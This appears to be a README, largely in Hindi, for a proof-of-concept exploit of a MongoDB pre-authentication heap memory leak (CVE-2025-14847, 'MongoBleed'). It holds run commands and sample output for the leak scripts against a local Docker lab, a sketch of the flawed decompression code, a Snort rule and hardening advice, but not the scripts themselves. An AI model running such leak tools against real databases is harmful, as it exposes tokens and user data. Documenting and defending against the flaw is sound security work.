CVE-2025-14847 (MongoBleed) - कार्यात्मक PoC

MongoDB में मेमोरी लीक का शोषण - अनुकरणीय R6 हमला

CVE-2025-14847 (MongoBleed) के लिए पूर्ण प्रमाण-अवधारणा
परीक्षित: ✅ MongoDB 7.0.5 | 14.300+ सफल शोषण | 4 UUID लीक

🎯 परियोजना के बारे में

यह रिपॉजिटरी CVE-2025-14847 भेद्यता के लिए एक पूरी तरह से कार्यात्मक प्रमाण-अवधारणा (PoC) रखता है, जिसे MongoBleed के नाम से जाना जाता है - MongoDB में प्रमाणीकरण-पूर्व हीप मेमोरी रिसाव की एक गंभीर खामी।

संदर्भ: रेनबो सिक्स सीज घटना

दिसंबर 2025 में, रेनबो सिक्स सीज गेम पर एक बड़ा हमला हुआ जिसमें ~50.000 खिलाड़ी खातों से समझौता हुआ। संदेह है कि हमलावरों ने बैकएंड MongoDB में इस भेद्यता का शोषण किया ताकि लीक कर सकें:

• 🔑 सर्वर प्रमाणीकरण टोकन (R6S_SERVER_AUTH_*)
• 👤 खिलाड़ियों के UUID और सत्र IDs
• 🛡️ प्रशासनिक विशेषाधिकार फ़्लैग (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

यह PoC R6 के यथार्थवादी डेटा के साथ हमले का अनुकरण करता है।

🔥 विशेषताएँ

• ✅ MongoDB 7.0.5 के विरुद्ध 100% कार्यात्मक शोषण
• ✅ 3 शोषण उपकरण:
  • poc.py - पैटर्न विश्लेषण के साथ मुख्य शोषण
  • live_leaker.py - उन्नत वृद्धिशील स्कैनिंग
  • popular_heap.py - लक्ष्य डेटा से हीप भरने की स्क्रिप्ट
• ✅ भेद्य MongoDB के साथ पूर्ण Docker वातावरण
• ✅ R6 बैकएंड के 1500+ अनुकरणीय दस्तावेज़
• ✅ 10 संवेदनशील पैटर्न की स्वचालित पहचान (JWT, टोकन, UUID, IP)
• ✅ संरचित JSON रिपोर्ट
• ✅ पूर्ण तकनीकी दस्तावेज़ीकरण (200+ पृष्ठ)

📊 मान्य परिणाम

निकाले गए UUID (वास्तविक प्रमाण)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 त्वरित प्रारंभ

आवश्यक शर्तें

• Docker और Docker Compose
• Python 3.8+

स्थापना

# Clone o repositório
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# Inicie o ambiente vulnerável
docker-compose up -d

# Aguarde inicialização (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

मूल उपयोग

# 1. Popular heap com dados R6
python3 popular_heap.py 50

# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check

# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

अपेक्षित आउटपुट

[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)

[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%

[!] PADRÕES R6 DETECTADOS (doc_len=245):
    [UUID] 1 novo(s):
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 यह कैसे काम करता है

भेद्यता तंत्र

MongoDB zlib के माध्यम से संदेश संपीड़न की अनुमति देता है। भेद्यता घोषित आकार बनाम वास्तविक आकार के अपर्याप्त सत्यापन में है:

Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
Servidor aloca 1MB de heap  ← VULNERABILIDADE
          ↓
Servidor descomprime apenas 50 bytes
          ↓
Servidor retorna 1MB inteiro!
          └─ 50 bytes = dados reais
          └─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA

भेद्य कोड (सरलीकृत)

// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize;  // ← Controlado pelo atacante
buffer = malloc(uncompressedSize);                  // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← VAZA BUFFER INTEIRO

📂 परियोजना संरचना

MongoDBPoc/
├── poc.py                          # मुख्य शोषण
├── live_leaker.py                  # वृद्धिशील स्कैनिंग (✨ अनुशंसित)
├── popular_heap.py                 # लोड स्क्रिप्ट
├── docker-compose.yml              # भेद्य MongoDB 7.0.5
├── init-db.js                      # 1000 खिलाड़ी + 500 सत्र R6
├── GUIA_TECNICO_COMPLETO.md       # विस्तृत दस्तावेज़ीकरण (200+ पृष्ठ)
├── README.MD                       # अंग्रेज़ी में दस्तावेज़ीकरण
└── Portugues/                      # अनुवादित संस्करण
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

🛡️ प्रभावित संस्करण

🛡️ पहचान और बचाव

Snort हस्ताक्षर

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

सुरक्षित कॉन्फ़िगरेशन (mongod.conf)

net:
  bindIp: 127.0.0.1              # NUNCA 0.0.0.0!
  compression:
    compressors: []              # Desabilitar zlib

security:
  authorization: enabled

शमन प्राथमिकताएँ

1. 🔴 गंभीर: सुधारित संस्करण में अद्यतन करें
2. 🟠 उच्च: zlib संपीड़न अक्षम करें
3. 🟠 उच्च: नेटवर्क विभाजन (फ़ायरवॉल)
4. 🟡 मध्यम: प्रमाणीकरण सक्षम करें

📚 दस्तावेज़ीकरण

• GUIA_TECNICO_COMPLETO.md - पूर्ण तकनीकी विश्लेषण (200+ पृष्ठ)
  • R6 घटना का संदर्भ
  • भेद्यता तंत्र
  • भेद्य बनाम सुधारित कोड
  • चरण-दर-चरण निष्पादन
  • परिणाम और आँकड़े
  • IDS हस्ताक्षर और हार्डनिंग
• README.MD - मुख्य दस्तावेज़ीकरण (अंग्रेज़ी)
• Portugues/ - अनुवादित संस्करण

⚠️ कानूनी चेतावनी

यह उपकरण केवल अधिकृत परीक्षण और शिक्षा के लिए है।

अनधिकृत उपयोग अवैध है और इसके परिणामस्वरूप हो सकता है:

• आपराधिक मुकदमा (ब्राज़ील में कानून 12.737/2012 के तहत)
• भारी जुर्माना
• कारावास

परीक्षण से पहले हमेशा लिखित अनुमति प्राप्त करें।

अनुमत उपयोग

• ✅ लिखित अनुमति के साथ प्रवेश परीक्षण
• ✅ पृथक वातावरण में अकादमिक अनुसंधान
• ✅ विक्रेता पैच का सत्यापन
• ✅ सुरक्षा टीमों का प्रशिक्षण

निषिद्ध उपयोग

• ❌ बिना अनुमति सिस्टम की स्कैनिंग या हमला
• ❌ उत्पादन डेटाबेस तक पहुँच
• ❌ इस कोड की बिक्री या हथियारीकरण

🙏 श्रेय

लेखक: Ermenson Jr
लाइसेंस: MIT (शैक्षिक उपयोग)
दिनांक: जनवरी 2026

संदर्भ

• MongoDB Security Advisory
• CVE-2025-14847 NVD
• Akamai SIRT: MongoBleed Analysis
• Aikido Security

📧 संपर्क

तकनीकी प्रश्नों या सुरक्षा अनुसंधान में सहयोग के लिए:

• GitHub Issues: इस रिपॉजिटरी के Issues टैब का उपयोग करें
• शैक्षिक ईमेल: GitHub प्रोफ़ाइल पर उपलब्ध

🌟 यदि यह परियोजना उपयोगी थी

• ⭐ इस रिपॉजिटरी को एक स्टार दें
• 🔄 सुरक्षा समुदाय के साथ साझा करें
• 📝 अपने अकादमिक शोध में उद्धृत करें
• 🐛 Issues के माध्यम से बग या सुधार रिपोर्ट करें

_{जिम्मेदार आक्रामक सुरक्षा अनुसंधान के लिए विकसित।
Ubisoft, MongoDB Inc., या Rainbow Six Siege से संबद्ध नहीं।}

🔒 जिम्मेदारी से उपयोग करें। सुरक्षा सभी के लिए है। 🔒